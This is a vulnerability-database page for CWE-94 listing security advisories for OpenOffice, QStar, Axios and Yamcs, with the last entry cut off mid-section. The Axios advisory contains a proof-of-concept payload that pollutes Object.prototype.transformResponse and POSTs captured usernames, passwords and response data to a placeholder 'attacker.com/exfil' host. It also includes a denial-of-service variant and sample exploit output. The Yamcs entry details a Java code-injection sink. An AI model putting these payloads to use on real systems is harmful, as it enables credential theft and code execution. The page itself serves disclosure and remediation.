CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9252 vulnerabilities reference this CWE, most recent first.
GHSA-3G32-62RM-7WVW
Vulnerability from github – Published: 2022-05-02 00:00 – Updated: 2022-05-02 00:00OpenOffice.org (OOo) before 2.1.0 does not properly verify the authenticity of updates, which allows man-in-the-middle attackers to execute arbitrary code via a Trojan horse update, as demonstrated by evilgrade and DNS cache poisoning.
{
"affected": [],
"aliases": [
"CVE-2008-3437"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-08-01T14:41:00Z",
"severity": "HIGH"
},
"details": "OpenOffice.org (OOo) before 2.1.0 does not properly verify the authenticity of updates, which allows man-in-the-middle attackers to execute arbitrary code via a Trojan horse update, as demonstrated by evilgrade and DNS cache poisoning.",
"id": "GHSA-3g32-62rm-7wvw",
"modified": "2022-05-02T00:00:11Z",
"published": "2022-05-02T00:00:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3437"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2008-07/0250.html"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1020583"
},
{
"type": "WEB",
"url": "http://www.infobyte.com.ar/down/Francisco%20Amato%20-%20evilgrade%20-%20ENG.pdf"
},
{
"type": "WEB",
"url": "http://www.infobyte.com.ar/down/isr-evilgrade-1.0.0.tar.gz"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3G3F-CRM9-QVMW
Vulnerability from github – Published: 2024-01-13 06:30 – Updated: 2024-01-19 15:30An authenticated remote code execution vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows attackers to arbitrarily execute commands.
{
"affected": [],
"aliases": [
"CVE-2023-51066"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-13T04:15:07Z",
"severity": "HIGH"
},
"details": "An authenticated remote code execution vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows attackers to arbitrarily execute commands.",
"id": "GHSA-3g3f-crm9-qvmw",
"modified": "2024-01-19T15:30:19Z",
"published": "2024-01-13T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51066"
},
{
"type": "WEB",
"url": "https://github.com/Oracle-Security/CVEs/blob/main/QStar%20Archive%20Solutions/CVE-2023-51066.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3G43-6GMG-66JW
Vulnerability from github – Published: 2026-05-29 16:07 – Updated: 2026-06-12 19:25Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
- An affected Axios version.
- A polluted Object.prototype in the same process or browser context.
- Pollution before Axios merges or validates the request config.
- A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
Original source report ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests. The `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers. **Severity:** High (CVSS 8.2) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') ## CVSS 3.1 **Score: 9.4 (High)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated | | Integrity | Low | Response data is replaced with `true` — attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) | | Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request | ### Relationship to GHSA-fvcv-3m26-pcqx This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`'s prototype chain traversal. | Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | **No — different code path** | | Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS | ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge. The critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.
### 2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
### 3. The Execution
Axios's `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
The polluted function then executes at `transformData.js:21`:
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
### 4. The Impact
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
The response data seen by the application is `true` (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
### 5. DoS Variant
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
## Verified PoC Output
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
## Impact Analysis
- **Credential Theft:** `this.auth.username`, `this.auth.password`, `this.headers.Authorization`, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
- **Response Data Exfiltration:** The original server response (`data` parameter) is available to the injected function before being replaced.
- **Universal Scope:** Affects **every** axios request in the application, including all third-party libraries that use axios.
- **Denial of Service:** Polluting with a non-function value crashes every request.
- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
### Limitations (Honest Assessment)
- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
- Response data cannot be arbitrarily tampered — the function must return `true` to pass `assertOptions`
- This is in-process JavaScript function execution, not OS-level RCE
## Recommended Fix
Use `hasOwnProperty` checks in `defaultToConfig2` to prevent prototype chain traversal:
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
Additionally, validate that `transformResponse` contains only functions before execution:
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
## Resources
- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [Axios GitHub Repository](https://github.com/axios/axios)
- [Snyk: Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution/)
## Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |
| 2026-04-16 | PoC corrected (function payload returning true — works) |
| 2026-04-16 | Report revised with accurate constraints |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44495"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T16:07:31Z",
"nvd_published_at": "2026-06-11T17:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted `Object.prototype.transformResponse`, affected Axios versions may treat that inherited value as request configuration or as an option validator.\n\nAxios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over `Object.prototype` before Axios creates a request.\n\n## Impact\nFor ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.\n\nIf the attacker can pollute `Object.prototype.transformResponse` with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and `auth`, and can change the response data returned to application code.\n\nThis function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.\n\n## Affected Functionality\nThe affected functionality is Axios request config processing and response transformation.\n\nAffected use requires all of the following:\n- An affected Axios version.\n- A polluted `Object.prototype` in the same process or browser context.\n- Pollution before Axios merges or validates the request config.\n- A polluted key relevant to Axios config, especially `transformResponse`.\n\nThis is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.\n\n## Technical Details\nIn affected versions, `mergeConfig()` reads config values through normal property access. For config keys present in Axios defaults, including `transformResponse`, a missing own property on the request config can fall through to `Object.prototype`.\n\nIn the fully affected path, this means `Object.prototype.transformResponse` can replace Axios\u0027s default response transform. The selected transform is later executed by `transformData()` with the request config as `this`.\n\nSome later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in `validator.assertOptions()`. In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.\n\nFixed versions use own-property checks and null-prototype config objects, so inherited `Object.prototype` values are not treated as Axios config or validator schema entries.\n\n## Proof of Concept of Attack\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst seen = [];\n\nconst server = http.createServer((req, res) =\u003e {\n res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n res.end(JSON.stringify({ secret: \u0027response-secret\u0027 }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\n if (headers \u0026\u0026 typeof status === \u0027number\u0027) {\n seen.push({\n url: this.url,\n username: this.auth \u0026\u0026 this.auth.username,\n password: this.auth \u0026\u0026 this.auth.password,\n responseData: data\n });\n\n return { hijacked: true };\n }\n\n return true;\n};\n\ntry {\n const { port } = server.address();\n\n const response = await axios.get(`http://127.0.0.1:${port}/users`, {\n auth: { username: \u0027svc-account\u0027, password: \u0027prod-secret-key-123\u0027 }\n });\n\n console.log(response.data); // { hijacked: true }\n console.log(seen[0]); // request config plus original response body\n} finally {\n delete Object.prototype.transformResponse;\n\n server.close();\n}\n```\n\nExpected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.\n\nExpected result on fixed versions: the polluted transform is ignored, and the original response is returned.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal source report\u003c/summary\u003e\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests.\n\nThe `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n\n## CVSS 3.1\n\n**Score: 9.4 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Credential theft occurs within the same application process |\n| Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated |\n| Integrity | Low | Response data is replaced with `true` \u2014 attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) |\n| Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request |\n\n### Relationship to GHSA-fvcv-3m26-pcqx\n\nThis vulnerability is in the same class as GHSA-fvcv-3m26-pcqx (\"Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`\u0027s prototype chain traversal.\n\n| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |\n|---|---|---|\n| Attack vector | PP \u2192 Header injection \u2192 Request smuggling | PP \u2192 Transform function override \u2192 Credential theft |\n| Fixed by 1.15.0 header sanitization? | Yes | **No \u2014 different code path** |\n| Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) |\n| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge.\n\nThe critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all \u2014 it injects a function into the response processing pipeline.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.transformResponse = function(data, headers, status) {\n // Steal credentials via this context (this = full request config)\n if (this \u0026\u0026 this.url \u0026\u0026 typeof data === \u0027string\u0027) {\n fetch(\u0027https://attacker.com/exfil\u0027, {\n method: \u0027POST\u0027,\n body: JSON.stringify({\n url: this.url,\n username: this.auth?.username,\n password: this.auth?.password,\n responseData: data,\n })\n });\n }\n return true; // MUST return true to pass assertOptions validator check\n};\n```\n\n**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer\nconst response = await axios.get(\u0027https://api.internal/users\u0027, {\n auth: { username: \u0027svc-account\u0027, password: \u0027prod-secret-key-123!\u0027 }\n});\n```\n\n### 3. The Execution\n\nAxios\u0027s `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:\n\n```javascript\nutils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {\n // \u0027transformResponse\u0027 is in config1 (defaults) \u2192 included in keys\n const merge = mergeMap[prop]; // \u2192 defaultToConfig2\n const configValue = merge(config1[prop], config2[prop], prop);\n // config2[\u0027transformResponse\u0027] traverses prototype \u2192 finds polluted function!\n});\n```\n\nThe polluted function then executes at `transformData.js:21`:\n\n```javascript\ndata = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n// fn = attacker\u0027s function, this = config (containing auth credentials)\n```\n\n### 4. The Impact\n\n```\nAttacker receives at https://attacker.com/exfil:\n\n{\n \"url\": \"https://api.internal/users\",\n \"username\": \"svc-account\",\n \"password\": \"prod-secret-key-123!\",\n \"responseData\": \"{\\\"users\\\":[{\\\"id\\\":1,\\\"role\\\":\\\"admin\\\"}]}\"\n}\n```\n\nThe response data seen by the application is `true` (the required return value), which will likely cause the application to malfunction but will not reveal the theft.\n\n### 5. DoS Variant\n\n```javascript\n// Array pollution crashes every request\nObject.prototype.transformResponse = [function(d) { return d; }];\n\nawait axios.get(\u0027https://any-url.com\u0027);\n// \u2192 TypeError: validator is not a function\n// Every request in the application crashes\n```\n\n## Verified PoC Output\n\n```\nStep 1 - Normal behavior (before pollution): \n Default transformResponse function name: \"transformResponse\"\n\nStep 2 - Polluting Object.prototype.transformResponse: \n Function replaced by attacker: true\n\nStep 3 - Simulating dispatchRequest transformResponse: \n Original server response: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"} \n After malicious transform: true \n Response tampered: true\n\nStep 4 - Exfiltrated data: \n Original response data: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"} \n Request URL: https://internal-api.corp/secrets \n Authentication info: {\"username\":\"admin\",\"password\":\"P@ssw0rd123!\"}\n```\n\n## Impact Analysis\n\n- **Credential Theft:** `this.auth.username`, `this.auth.password`, `this.headers.Authorization`, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.\n- **Response Data Exfiltration:** The original server response (`data` parameter) is available to the injected function before being replaced.\n- **Universal Scope:** Affects **every** axios request in the application, including all third-party libraries that use axios.\n- **Denial of Service:** Polluting with a non-function value crashes every request.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.\n\n### Limitations (Honest Assessment)\n\n- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree\n- Response data cannot be arbitrarily tampered \u2014 the function must return `true` to pass `assertOptions`\n- This is in-process JavaScript function execution, not OS-level RCE\n\n## Recommended Fix\n\nUse `hasOwnProperty` checks in `defaultToConfig2` to prevent prototype chain traversal:\n\n```javascript\n// In lib/core/mergeConfig.js\nfunction defaultToConfig2(a, b, prop) {\n if (Object.prototype.hasOwnProperty.call(config2, prop) \u0026\u0026 !utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n}\n```\n\nAdditionally, validate that `transformResponse` contains only functions before execution:\n\n```javascript\n// In lib/core/transformData.js\nutils.forEach(fns, function transform(fn) {\n if (typeof fn !== \u0027function\u0027) {\n throw new AxiosError(\u0027Transform must be a function\u0027, AxiosError.ERR_BAD_OPTION);\n }\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n});\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n- [Snyk: Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution/)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | Initial PoC developed (array payload \u2014 crashes at validator.js) |\n| 2026-04-16 | PoC corrected (function payload returning true \u2014 works) |\n| 2026-04-16 | Report revised with accurate constraints |\n| TBD | Report submitted to vendor via GitHub Security Advisory |\n\u003c/details\u003e",
"id": "GHSA-3g43-6gmg-66jw",
"modified": "2026-06-12T19:25:15Z",
"published": "2026-05-29T16:07:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge"
}
GHSA-3G44-3M7X-CGG2
Vulnerability from github – Published: 2026-08-28 17:06 – Updated: 2026-08-28 17:06Overview
Yamcs compiles StreamSQL expressions to Java on the fly with the Janino SimpleCompiler (no restrictive class-loading policy or expression sandbox). When a StreamSQL aggregate such as sum(...) is applied to a column, the column's name is interpolated unescaped into the generated Java source. Because Yamcs accepts arbitrary characters in a double-quoted column identifier and applies no validation when a column is created, an authenticated user with the ControlArchiving system privilege can craft a column name that injects arbitrary Java into the compiled aggregate and achieve Remote Code Execution on the Yamcs host via POST /api/archive/{instance}:executeSql.
This is a second, independent Janino-RCE entry point sharing the root cause of CVE-2026-44632 (GHSA-524g-x36v-9wm6). The 5.13.0 / 5.12.7 fix for CVE-2026-44632 hardened only the algorithm-override path (JavaExprAlgorithmExecutionFactory, reached via MdbOverrideApi and gated by ChangeMissionDatabase). The StreamSQL expression compiler (org.yamcs.yarch.streamsql) was not addressed and remains exploitable in 5.13.0 via a different privilege (ControlArchiving).
Impact
An authenticated Yamcs user holding SystemPrivilege.ControlArchiving can cause Yamcs to compile attacker-controlled Java source through the StreamSQL aggregate expression compiler reachable from POST /api/archive/{instance}:executeSql.
The injected code executes inside the Yamcs server JVM with the privileges of the Yamcs server process, bypassing the Yamcs authorization model. Because this is ordinary Java execution, dangerous JDK APIs such as filesystem access, process execution, reflection, and class loading are reachable unless externally sandboxed. This allows compromise of confidentiality, integrity, and availability of the Yamcs deployment: access to mission data and credentials available to the process, telemetry/archive tampering, denial of service, and lateral movement from the host environment.
ControlArchiving is the archive/table/stream management privilege — distinct from both superuser access and the ChangeMissionDatabase privilege used by the previously fixed algorithm-override Janino issue (CVE-2026-44632). Scope is scored as Changed because execution crosses from an authenticated Yamcs API privilege into arbitrary code execution under the server process / host OS authority, outside the privileges granted to the authenticated Yamcs user (consistent with the maintainer's S:C scoring of the sibling CVE-2026-44632).
Technical Details
The sink: unsandboxed Janino compilation of generated Java
org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate() builds a Java source string and compiles it with Janino, with no restrictive ClassLoader and no class/API allowlist:
// org/yamcs/yarch/streamsql/CompilableAggregateExpression.java:26-50
String className = "AggregateExpression" + counter.incrementAndGet();
StringBuilder code = new StringBuilder();
code.append("package org.yamcs.yarch;\n")
.append("public class " + className + " implements CompiledAggregateExpression {\n");
aggregateFillCode_Declarations(code);
code.append("\tpublic void newData(Tuple tuple) {\n");
aggregateFillCode_newData(code); // <-- attacker-controlled column name lands here
code.append("\t}\n");
code.append("\tpublic Object getValue() {\n");
aggregateFillCode_getValue(code);
code.append("\t}\n");
...
SimpleCompiler compiler = new SimpleCompiler(); // generated source is compiled without a restrictive sandbox
compiler.cook(code.toString()); // compiles attacker-influenced Java source
The injection: column name interpolated unescaped
SumExpression#aggregateFillCode_newData emits, inside newData(Tuple tuple), a declaration for each input column followed by sum += col<columnName>:
// org/yamcs/yarch/streamsql/funct/SumExpression.java:38-42
protected void aggregateFillCode_newData(StringBuilder code) throws StreamSqlException {
fillCode_InputDefVars(inputDef.getColumnDefinitions(), code); // emits the column declaration
code.append("\t\tsum+=col" + children[0].getColumnName()); // emits the column identifier again
code.append(";\n");
}
fillCode_InputDefVars interpolates the column name into a Java identifier with only sanitizeName applied, and again — raw — into a tuple.getColumn("...") string literal:
// org/yamcs/yarch/streamsql/Expression.java:134-145
String javaColIdentifier = "col" + sanitizeName(cd.getName());
...
code.append("\t\t" + dtype.javaType() + " " + javaColIdentifier +
" = (" + dtype.javaType() + ")tuple.getColumn(\"" + cd.getName() + "\");\n");
// Expression.java:237-238 — the ONLY transformation applied to the column name:
static String sanitizeName(String s) {
return s.replace("/", "_").replace("-", "_");
}
sanitizeName maps only / and - to _. Every other character — ;, spaces, ( ) { } [ ], =, ., +, ,, digits — passes through verbatim into the generated Java.
The exploitable context is the Java identifier col<name>. The same method also emits the raw column name into a Java string literal used by tuple.getColumn("...") (Expression.java:140/144). This string-literal context is not required for the exploit shown here, but it should still be escaped with ValueExpression.escapeJavaString, because it is another instance of raw user-controlled text emitted into generated Java source (including Java escape-sequence edge cases) and is therefore an additional source-generation hazard, not a closed surface. (ValueExpression.escapeJavaString is correctly applied to value literals such as WHERE x = '...'; function names are separately whitelisted by FunctionExpressionFactory. The unfixed gap is the column identifier.)
Why the column name is fully attacker-controlled
The StreamSQL grammar accepts any character except newline / CR / double-quote in a double-quoted identifier, and returns the raw inner content:
// org/yamcs/yarch/streamsql/StreamSql.jj:237 and :931
